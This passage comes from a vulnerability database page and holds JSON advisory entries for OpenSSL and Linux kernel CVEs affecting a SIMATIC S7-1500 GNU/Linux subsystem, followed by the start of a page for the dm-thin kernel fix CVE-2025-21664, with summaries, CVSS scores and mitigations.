          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21862"
    },
    {
      "cve": "CVE-2025-21865",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
          "text": "gtp: Suppress list corruption splat in gtp_net_exit_batch_rtnl(). Commit eb28fd76c0a0 (\"gtp: Destroy device along with udp socket\u0027s netns dismantle.\") added the for_each_netdev() loop in gtp_net_exit_batch_rtnl() to destroy devices in each netns as done in geneve and ip tunnels. However, this could trigger -\u003edellink() twice for the same device during -\u003eexit_batch_rtnl().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-21865"
    },
    {
      "cve": "CVE-2025-68160",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Issue summary: Writing large, newline-free data into a BIO chain using the\nline-buffering filter where the next BIO performs short writes can trigger\na heap-based out-of-bounds write.\n\nImpact summary: This out-of-bounds write can cause memory corruption which\ntypically results in a crash, leading to Denial of Service for an application.\n\nThe line-buffering BIO filter (BIO_f_linebuffer) is not used by default in\nTLS/SSL data paths. In OpenSSL command-line applications, it is typically\nonly pushed onto stdout/stderr on VMS systems. Third-party applications that\nexplicitly use this filter with a BIO chain that can short-write and that\nwrite large, newline-free data influenced by an attacker would be affected.\nHowever, the circumstances where this could happen are unlikely to be under\nattacker control, and BIO_f_linebuffer is unlikely to be handling non-curated\ndata controlled by an attacker. For that reason the issue was assessed as\nLow severity.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the BIO implementation is outside the OpenSSL FIPS module boundary.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.7,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-68160"
    },
    {
      "cve": "CVE-2025-69418",
      "cwe": {
        "id": "CWE-325",
        "name": "Missing Cryptographic Step"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Issue summary: When using the low-level OCB API directly with AES-NI or\u003cbr\u003eother hardware-accelerated code paths, inputs whose length is not a multiple\u003cbr\u003eof 16 bytes can leave the final partial block unencrypted and unauthenticated.\u003cbr\u003e\u003cbr\u003eImpact summary: The trailing 1-15 bytes of a message may be exposed in\u003cbr\u003ecleartext on encryption and are not covered by the authentication tag,\u003cbr\u003eallowing an attacker to read or tamper with those bytes without detection.\u003cbr\u003e\u003cbr\u003eThe low-level OCB encrypt and decrypt routines in the hardware-accelerated\u003cbr\u003estream path process full 16-byte blocks but do not advance the input/output\u003cbr\u003epointers. The subsequent tail-handling code then operates on the original\u003cbr\u003ebase pointers, effectively reprocessing the beginning of the buffer while\u003cbr\u003eleaving the actual trailing bytes unprocessed. The authentication checksum\u003cbr\u003ealso excludes the true tail bytes.\u003cbr\u003e\u003cbr\u003eHowever, typical OpenSSL consumers using EVP are not affected because the\u003cbr\u003ehigher-level EVP and provider OCB implementations split inputs so that full\u003cbr\u003eblocks and trailing partial blocks are processed in separate calls, avoiding\u003cbr\u003ethe problematic code path. Additionally, TLS does not use OCB ciphersuites.\u003cbr\u003eThe vulnerability only affects applications that call the low-level\u003cbr\u003eCRYPTO_ocb128_encrypt() or CRYPTO_ocb128_decrypt() functions directly with\u003cbr\u003enon-block-aligned lengths in a single call on hardware-accelerated builds.\u003cbr\u003eFor these reasons the issue was assessed as Low severity.\u003cbr\u003e\u003cbr\u003eThe FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected\u003cbr\u003eby this issue, as OCB mode is not a FIPS-approved algorithm.\u003cbr\u003e\u003cbr\u003eOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.\u003cbr\u003e\u003cbr\u003eOpenSSL 1.0.2 is not affected by this issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.0,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-69418"
    },
    {
      "cve": "CVE-2025-69419",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Issue summary: Calling PKCS12_get_friendlyname() function on a maliciously\ncrafted PKCS#12 file with a BMPString (UTF-16BE) friendly name containing\nnon-ASCII BMP code point can trigger a one byte write before the allocated\nbuffer.\n\nImpact summary: The out-of-bounds write can cause a memory corruption\nwhich can have various consequences including a Denial of Service.\n\nThe OPENSSL_uni2utf8() function performs a two-pass conversion of a PKCS#12\nBMPString (UTF-16BE) to UTF-8. In the second pass, when emitting UTF-8 bytes,\nthe helper function bmp_to_utf8() incorrectly forwards the remaining UTF-16\nsource byte count as the destination buffer capacity to UTF8_putc(). For BMP\ncode points above U+07FF, UTF-8 requires three bytes, but the forwarded\ncapacity can be just two bytes. UTF8_putc() then returns -1, and this negative\nvalue is added to the output length without validation, causing the\nlength to become negative. The subsequent trailing NUL byte is then written\nat a negative offset, causing write outside of heap allocated buffer.\n\nThe vulnerability is reachable via the public PKCS12_get_friendlyname() API\nwhen parsing attacker-controlled PKCS#12 files. While PKCS12_parse() uses a\ndifferent code path that avoids this issue, PKCS12_get_friendlyname() directly\ninvokes the vulnerable function. Exploitation requires an attacker to provide\na malicious PKCS#12 file to be parsed by the application and the attacker\ncan just trigger a one zero byte write before the allocated buffer.\nFor that reason the issue was assessed as Low severity according to our\nSecurity Policy.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the PKCS#12 implementation is outside the OpenSSL FIPS module boundary.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.\n\nOpenSSL 1.0.2 is not affected by this issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-69419"
    },
    {
      "cve": "CVE-2025-69420",
      "cwe": {
        "id": "CWE-754",
        "name": "Improper Check for Unusual or Exceptional Conditions"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Issue summary: A type confusion vulnerability exists in the TimeStamp Response\nverification code where an ASN1_TYPE union member is accessed without first\nvalidating the type, causing an invalid or NULL pointer dereference when\nprocessing a malformed TimeStamp Response file.\n\nImpact summary: An application calling TS_RESP_verify_response() with a\nmalformed TimeStamp Response can be caused to dereference an invalid or\nNULL pointer when reading, resulting in a Denial of Service.\n\nThe functions ossl_ess_get_signing_cert() and ossl_ess_get_signing_cert_v2()\naccess the signing cert attribute value without validating its type.\nWhen the type is not V_ASN1_SEQUENCE, this results in accessing invalid memory\nthrough the ASN1_TYPE union, causing a crash.\n\nExploiting this vulnerability requires an attacker to provide a malformed\nTimeStamp Response to an application that verifies timestamp responses. The\nTimeStamp protocol (RFC 3161) is not widely used and the impact of the\nexploit is just a Denial of Service. For these reasons the issue was\nassessed as Low severity.\n\nThe FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the TimeStamp Response implementation is outside the OpenSSL FIPS module\nboundary.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.\n\nOpenSSL 1.0.2 is not affected by this issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-69420"
    },
    {
      "cve": "CVE-2025-69421",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Issue summary: Processing a malformed PKCS#12 file can trigger a NULL pointer\r\ndereference in the PKCS12_item_decrypt_d2i_ex() function.\r\n\r\nImpact summary: A NULL pointer dereference can trigger a crash which leads to\r\nDenial of Service for an application processing PKCS#12 files.\r\n\r\nThe PKCS12_item_decrypt_d2i_ex() function does not check whether the oct\r\nparameter is NULL before dereferencing it. When called from\r\nPKCS12_unpack_p7encdata() with a malformed PKCS#12 file, this parameter can\r\nbe NULL, causing a crash. The vulnerability is limited to Denial of Service\r\nand cannot be escalated to achieve code execution or memory disclosure.\r\n\r\nExploiting this issue requires an attacker to provide a malformed PKCS#12 file\r\nto an application that processes it. For that reason the issue was assessed as\r\nLow severity according to our Security Policy.\r\n\r\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\r\nas the PKCS#12 implementation is outside the OpenSSL FIPS module boundary.\r\n\r\nOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-69421"
    },
    {
      "cve": "CVE-2026-22795",
      "cwe": {
        "id": "CWE-754",
        "name": "Improper Check for Unusual or Exceptional Conditions"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Issue summary: An invalid or NULL pointer dereference can happen in\nan application processing a malformed PKCS#12 file.\n\nImpact summary: An application processing a malformed PKCS#12 file can be\ncaused to dereference an invalid or NULL pointer on memory read, resulting\nin a Denial of Service.\n\nA type confusion vulnerability exists in PKCS#12 parsing code where\nan ASN1_TYPE union member is accessed without first validating the type,\ncausing an invalid pointer read.\n\nThe location is constrained to a 1-byte address space, meaning any\nattempted pointer manipulation can only target addresses between 0x00 and 0xFF.\nThis range corresponds to the zero page, which is unmapped on most modern\noperating systems and will reliably result in a crash, leading only to a\nDenial of Service. Exploiting this issue also requires a user or application\nto process a maliciously crafted PKCS#12 file. It is uncommon to accept\nuntrusted PKCS#12 files in applications as they are usually used to store\nprivate keys which are trusted by definition. For these reasons, the issue\nwas assessed as Low severity.\n\nThe FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the PKCS12 implementation is outside the OpenSSL FIPS module boundary.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.\n\nOpenSSL 1.0.2 is not affected by this issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2026-22795"
    },
    {
      "cve": "CVE-2026-22796",
      "cwe": {
        "id": "CWE-754",
        "name": "Improper Check for Unusual or Exceptional Conditions"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Issue summary: A type confusion vulnerability exists in the signature\nverification of signed PKCS#7 data where an ASN1_TYPE union member is\naccessed without first validating the type, causing an invalid or NULL\npointer dereference when processing malformed PKCS#7 data.\n\nImpact summary: An application performing signature verification of PKCS#7\ndata or calling directly the PKCS7_digest_from_attributes() function can be\ncaused to dereference an invalid or NULL pointer when reading, resulting in\na Denial of Service.\n\nThe function PKCS7_digest_from_attributes() accesses the message digest attribute\nvalue without validating its type. When the type is not V_ASN1_OCTET_STRING,\nthis results in accessing invalid memory through the ASN1_TYPE union, causing\na crash.\n\nExploiting this vulnerability requires an attacker to provide a malformed\nsigned PKCS#7 to an application that verifies it. The impact of the\nexploit is just a Denial of Service, the PKCS7 API is legacy and applications\nshould be using the CMS API instead. For these reasons the issue was\nassessed as Low severity.\n\nThe FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the PKCS#7 parsing implementation is outside the OpenSSL FIPS module\nboundary.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2026-22796"
    },
    {
      "cve": "CVE-2026-28387",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Issue summary: An uncommon configuration of clients performing DANE TLSA-based\nserver authentication, when paired with uncommon server DANE TLSA records, may\nresult in a use-after-free and/or double-free on the client side.\n\nImpact summary: A use after free can have a range of potential consequences\nsuch as the corruption of valid data, crashes or execution of arbitrary code.\n\nHowever, the issue only affects clients that make use of TLSA records with both\nthe PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate\nusage.\n\nBy far the most common deployment of DANE is in SMTP MTAs for which RFC7672\nrecommends that clients treat as \u0027unusable\u0027 any TLSA records that have the PKIX\ncertificate usages.  These SMTP (or other similar) clients are not vulnerable\nto this issue.  Conversely, any clients that support only the PKIX usages, and\nignore the DANE-TA(2) usage are also not vulnerable.\n\nThe client would also need to be communicating with a server that publishes a\nTLSA RRset with both types of TLSA records.\n\nNo FIPS modules are affected by this issue, the problem code is outside the\nFIPS module boundary.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.0,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2026-28387"
    },
    {
      "cve": "CVE-2026-28388",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Issue summary: When a delta CRL that contains a Delta CRL Indicator extension\nis processed a NULL pointer dereference might happen if the required CRL\nNumber extension is missing.\n\nImpact summary: A NULL pointer dereference can trigger a crash which\nleads to a Denial of Service for an application.\n\nWhen CRL processing and delta CRL processing is enabled during X.509\ncertificate verification, the delta CRL processing does not check\nwhether the CRL Number extension is NULL before dereferencing it.\nWhen a malformed delta CRL file is being processed, this parameter\ncan be NULL, causing a NULL pointer dereference.\n\nExploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in\nthe verification context, the certificate being verified to contain a\nfreshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and\nan attacker to provide a malformed CRL to an application that processes it.\n\nThe vulnerability is limited to Denial of Service and cannot be escalated to\nachieve code execution or memory disclosure. For that reason the issue was\nassessed as Low severity according to our Security Policy.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the affected code is outside the OpenSSL FIPS module boundary.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2026-28388"
    },
    {
      "cve": "CVE-2026-28389",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyAgreeRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is\nprocessed, the optional parameters field of KeyEncryptionAlgorithmIdentifier\nis examined without checking for its presence. This results in a NULL\npointer dereference if the field is missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2026-28389"
    },
    {
      "cve": "CVE-2026-28390",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyTransportRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyTransportRecipientInfo with\nRSA-OAEP encryption is processed, the optional parameters field of\nRSA-OAEP SourceFunc algorithm identifier is examined without checking\nfor its presence. This results in a NULL pointer dereference if the field\nis missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2026-28390"
    },
    {
      "cve": "CVE-2026-31431",
      "cwe": {
        "id": "CWE-669",
        "name": "Incorrect Resource Transfer Between Spheres"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: algif_aead - Revert to operating out-of-place\n\nThis mostly reverts commit 72548b093ee3 except for the copying of\nthe associated data.\n\nThere is no benefit in operating in-place in algif_aead since the\nsource and destination come from different mappings.  Get rid of\nall the complexity added for in-place operation and just copy the\nAD directly.",
          "title": "Summary"
        },
        {
          "category": "summary",
          "text": "In the additional GNU/Linux subsystem of the SIMATIC S7-1500 TM MFP V1.1 a security vulnerability has been identified in the Linux kernel that could potentially allow an authorized local attacker to gain elevated system privileges.",
          "title": "For SIMATIC S7-1500 TM MFP - GNU/Linux subsystem"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2026-31431"
    }
  ]
}

CVE-2025-21664 (GCVE-0-2025-21664)

Vulnerability from cvelistv5 – Published: 2025-01-21 12:18 – Updated: 2026-05-12 12:03

Title

dm thin: make get_first_thin use rcu-safe list first function

Summary

In the Linux kernel, the following vulnerability has been resolved: dm thin: make get_first_thin use rcu-safe list first function The documentation in rculist.h explains the absence of list_empty_rcu() and cautions programmers against relying on a list_empty() -> list_first() sequence in RCU safe code. This is because each of these functions performs its own READ_ONCE() of the list head. This can lead to a situation where the list_empty() sees a valid list entry, but the subsequent list_first() sees a different view of list head state after a modification. In the case of dm-thin, this author had a production box crash from a GP fault in the process_deferred_bios path. This function saw a valid list head in get_first_thin() but when it subsequently dereferenced that and turned it into a thin_c, it got the inside of the struct pool, since the list was now empty and referring to itself. The kernel on which this occurred printed both a warning about a refcount_t being saturated, and a UBSAN error for an out-of-bounds cpuid access in the queued spinlock, prior to the fault itself. When the resulting kdump was examined, it was possible to see another thread patiently waiting in thin_dtr's synchronize_rcu. The thin_dtr call managed to pull the thin_c out of the active thins list (and have it be the last entry in the active_thins list) at just the wrong moment which lead to this crash. Fortunately, the fix here is straight forward. Switch get_first_thin() function to use list_first_or_null_rcu() which performs just a single READ_ONCE() and returns NULL if the list is already empty. This was run against the devicemapper test suite's thin-provisioning suites for delete and suspend and no regressions were observed.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/ec037fe8c0d0f6140…
https://git.kernel.org/stable/c/cd30a3960433ec2db…
https://git.kernel.org/stable/c/802666a40c71a2354…
https://git.kernel.org/stable/c/12771050b6d059eea…
https://git.kernel.org/stable/c/6b305e98de0d225cc…
https://git.kernel.org/stable/c/cbd0d5ecfa390ac29…
https://git.kernel.org/stable/c/80f130bfad1dab93b…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: b10ebd34cccae1b431caf1be54919aede2be7cbe , < ec037fe8c0d0f6140e3d8a49c7b29cb5582160b8 (git) Affected: b10ebd34cccae1b431caf1be54919aede2be7cbe , < cd30a3960433ec2db94b3689752fa3c5df44d649 (git) Affected: b10ebd34cccae1b431caf1be54919aede2be7cbe , < 802666a40c71a23542c43a3f87e3a2d0f4e8fe45 (git) Affected: b10ebd34cccae1b431caf1be54919aede2be7cbe , < 12771050b6d059eea096993bf2001da9da9fddff (git) Affected: b10ebd34cccae1b431caf1be54919aede2be7cbe , < 6b305e98de0d225ccebfb225730a9f560d28ecb0 (git) Affected: b10ebd34cccae1b431caf1be54919aede2be7cbe , < cbd0d5ecfa390ac29c5380200147d09c381b2ac6 (git) Affected: b10ebd34cccae1b431caf1be54919aede2be7cbe , < 80f130bfad1dab93b95683fc39b87235682b8f72 (git)
Linux	Linux	Affected: 3.15 Unaffected: 0 , < 3.15 (semver) Unaffected: 5.4.290 , ≤ 5.4.* (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.125 , ≤ 6.1.* (semver) Unaffected: 6.6.72 , ≤ 6.6.* (semver) Unaffected: 6.12.10 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:58:40.356Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
